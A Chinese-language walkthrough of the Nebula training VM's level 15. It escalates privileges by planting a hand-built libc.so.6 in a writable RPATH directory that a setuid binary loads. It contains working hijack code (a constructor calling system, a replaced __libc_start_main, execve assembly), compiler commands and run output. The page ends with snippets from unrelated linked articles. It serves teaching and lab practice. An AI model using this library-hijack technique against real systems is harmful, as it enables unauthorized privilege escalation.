Linux下的动态链接库包含漏洞

  1. 说明

Nebula是一个用于Linux下提权漏洞练习的虚拟机,其第15关Level15提供了这样一个有漏洞的程序flag15

sh-4.2$ ls -l
total 7
-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15
sh-4.2$ whoami
level15

要求利用该setuid程序的漏洞,从用户level15提权到用户flag15,执行/bin/getflag.

2. 漏洞挖掘

这道题是一个经典的动态链接库劫持题目,首先用strace观察flag15

execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x880e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
5/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfe0f594) = -1 ENOENT (No such file 
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = 3
...
exit_group(63)                          = ?

发现该程序链接到名为libc.so.6的动态链接库,但是/var/tmp目录对当前用户(level15)可写,因此可以在该目录下编写一个定制的libc.so.6,供程序flag15链接

我们进一步查看flag15的头信息,发现其确实依赖lib.so.6,并且使用RPATH编译,这表明flag15在运行时搜索包含动态链接库的路径/var/tmp/flag15,而且允许setuid执行(以LD_PRELOAD编译则不允许setuid执行).

sh-4.2$ objdump -p /home/flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

3. 漏洞利用

剩下的事就是要在/var/tmp/flag15目录下编写我们定制的libc.so.6,劫持flag15,提权运行/bin/getflag.

首先要hook flag15运行时用到的函数,这里有两个点可供选择.一是通过gcc 的__attribute ((constructor))修饰符声明自己的函数,这个函数可以在linux动态链接库入口_init 函数之前完成提权功能;二是在int __libc_start_main函数中加入自己的提权功能.

使用第一种方法编写:

sh-4.2$ cat constructor.c 
#include <stdio.h>

void __attribute ((constructor)) init()
{
    system("/bin/getflag");
}

编译

gcc -shared -fPIC -o libc.so.6 constructor.c

第二种方法编写

sh-4.2$ cat shell.c 
#include <unistd.h>

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) 
{  
    system("/bin/getflag");
}

编译

gcc -shared -fPIC -o libc.so.6 shell.c

得到libc.so.6

然后执行

sh-4.2$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

从上面提示发现缺少一个_cxa_finalize函数,于是在上述两种方法中的constructor.c或者shell.c中都可以增加

void __cxa_finalize(void)
{
    return;
}

修改constructor.c为contructor1.c,然后再次编译

sh-4.2$ gcc -shared -fPIC -o libc.so.6 contructor1.c

然后执行

sh-4.2$ /home/flag15/flag15 
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

上面提示又缺少GLIBC的version信息。于是我们提供一个version script在编译时使用

继续编译并执行

sh-4.2$ cat version 
GLIBC_2.0 {};
sh-4.2$  gcc -shared -fPIC -o libc.so.6   contructor1.c -Wl,--version-script=version  
sh-4.2$ /home/flag15/flag15 
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

仍然提示出错,似乎没有找到system函数.下面也有两种方法来解决,一种是用静态链接库的方式编译来满足所有的依赖关系(why?),二是用汇编语言编写自己的system函数

第一种方法:

sh-4.2$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 contructor1.c 
sh-4.2$ /home/flag15/flag15 
You have successfully executed getflag on a target account
/home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

第二种方法:

sh-4.2$ cat shell.c 
#include <unistd.h>

void __cxa_finalize(void *d) {

}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {  
    system();
}
sh-4.2$ cat system.s
.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp,%ecx
mov $11, %eax ;execve系统调用
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0"

sh-4.2$  gcc -shared -fPIC -o libc.so.6   shell.c system.s  -Wl,--version-script=version  
sh-4.2$ /home/flag15/flag15 
You have successfully executed getflag on a target account

个人认为编写shellcode的方法相对于静态链接库编译的方式更易于理解,目前自己还没有弄清楚为什么用静态链接的方式就能解决system函数的问题.

参考

www.pwntester.com/blog/2013/11/26/nebula-level15-write-up/

https://github.com/1u4nx/Exploit-Exercises-Nebula

时间: 2024-10-27 07:18:13

Linux下的动态链接库包含漏洞的相关文章

linux下添加动态链接库路径、动态库加载等方法

linux下添加动态链接库路径的方法 2017年01月20日 10:08:17 阅读数:5596 Linux共享库路径配置 Linux下找不到共享库文件的典型现象为明明已经安装某个软包(如libnet,MySQL),编译连接可以正常进行,但是在运行时出现如"error while loading shared libraries: libnet.so.1:cannot open shared object file :No such file or directory"的错误提示. 原

linux下的动态链接库和静态链接库到底是个什么鬼?(二)动态链接库的编译与使用

上一篇文章里讲解了linux下静态链接库的编译与使用,下面我们来聊聊动态链接库的编译与使用方法. 所谓动态链接库,也就是说编译的时候不会真的把你引用到的库给编到你的执行程序里,而是在执行时候才会去加载相关的库,所有用到此库的程序可以共享一份代码,这样带来的好处是可执行程序所占的空间变小了,同时,如果库需要升级,你并不需要重新编译你的程序,只要把相关的库升级即可. 接下来我们来看看动态链接库的编译与使用方法,代码还是和上文中的一样,分别为?sum.c, sum.h, 和main.c, 在linux

Linux下批量杀掉包含某个关键字的程序进程

有时候因为一些特殊情况,需要把 linux 下符合某一项条件的所有进程 kill 掉,又不能用 killall 直接杀掉某一进程名称包含的所有运行中进程(我们可能只需要杀掉其中的某一类或运行指定参数命令的进程),这个时候我们需要运用 ps, grep, cut 和 kill 一起操作. ok,下面给出具体的参考: ps -ef|grep LOCAL=NO|grep -v grep|cut -c 9-15|xargs kill -9 运行这条命令将会杀掉所有含有关键字”LOCAL=NO”的进程,是

Linux下压缩不包含路径信息的压缩包

适合于某些文件导出,但并不希望用户知道服务器上文件存放路径信息的需求. [Tar篇 ] 在Linux下直接使用命令 tar jcvf file.tar.bz files  压缩files目录时,如果当前files路径是在/home/www/files下,压缩后的file.tar.bz2会将包含files的绝对路径: 解决办法 tar jcvf file.tar.bz2 -C /home/www files 这样压缩后,就是可以得当一个相对路径的压缩包了,直接排除掉/home/www路径不压缩了.

linux下的动态链接库管理

LD_LIBRARY_PATH Linux环境变量名,该环境变量主要用于指定查找共享库(动态链接库)时除了默认路径之外的其他路径.(该路径在默认路径之前查找) 移植程序时的经常碰到需要使用一些特定的动态库,而这些编译好的动态库放在我们自己建立的目录里,这时可以将这些目录设置到LD_LIBRARY_PATH中. 当执行函数动态链接.so时,如果此文件不在缺省目录下'/usr/local/lib' and '/usr/lib'. 那么就需要指定环境变量LD_LIBRARY_PATH 假如现在需要在已

linux下查看动态链接库so文件的依赖的相关组建

我们很多c程序在windows下是以dll形式展现的,在linux则是以so 形式展现的. windows一般不会因为编译dll文件的编译器版本不同而出先dll文件不能执行. 但是linux下,不同版本内核的linux下编译的c程序,在其他版本的linux下就容易出现无法执行的问题.主要可能是支持程序的内核相对于编译时的内核较高或者版本相对于编译时的内核较低. 那我们如何看别人给我们提供的动态链接库文件(so后缀的)是否能在当前linux系统下可用呢.首先我们就要看他依赖的相关文件是否存在,查看

windows与linux下执行.class(包含main方法)

一般来说,执行一个java文件采用执行jar包的方式最为方便(java -jar XXX.jar),将所需要的文件全部打到一个jar里,但是有些时候需要执行指定的.class文件才行(各种原因),这个时候就需要我们使用 -classpath 参数来指定类路径. windows: 假设要执行的文件为D:\test\Test.class 1.在cmd下进入D盘 2.执行java test.Test 或者 java test/Test 都可以 3.如果Test中关联了其它jar包,这需要通过如下方式执

linux下离线更新nessus漏洞插件的方法

Nessus是一款优秀的漏洞扫描软件,在其v6 HOME版本中在线更新漏洞插件不成功,采用离线更新采用网友提供的方法也不行,于是认真研究了下,成功地更新了插件,在此将更新方法进行分享. 1.获得Challenge code [email protected]:~#  /opt/nessus/sbin/nessuscli fetch --challenge Challenge code: 4a137cbef3e6457c33669dd2f4143baa88df1305 You can copy t

linux下Eclipse进行C编程时动态链接库的生成和使用

引用 http://linux.chinaitlab.com/soft/864157.html 欢迎进入Linux社区论坛,与200万技术人员互动交流 >>进入 一.创建动态链接库1.创建工程new->project->c++ project选择Shared Library->Empty Project.输入工程名a,点击finish,完成工程的创建. 2.编写代码在windows下封装动态链接库时对要封的函数要用__declspec(dllexport)来标明,在linux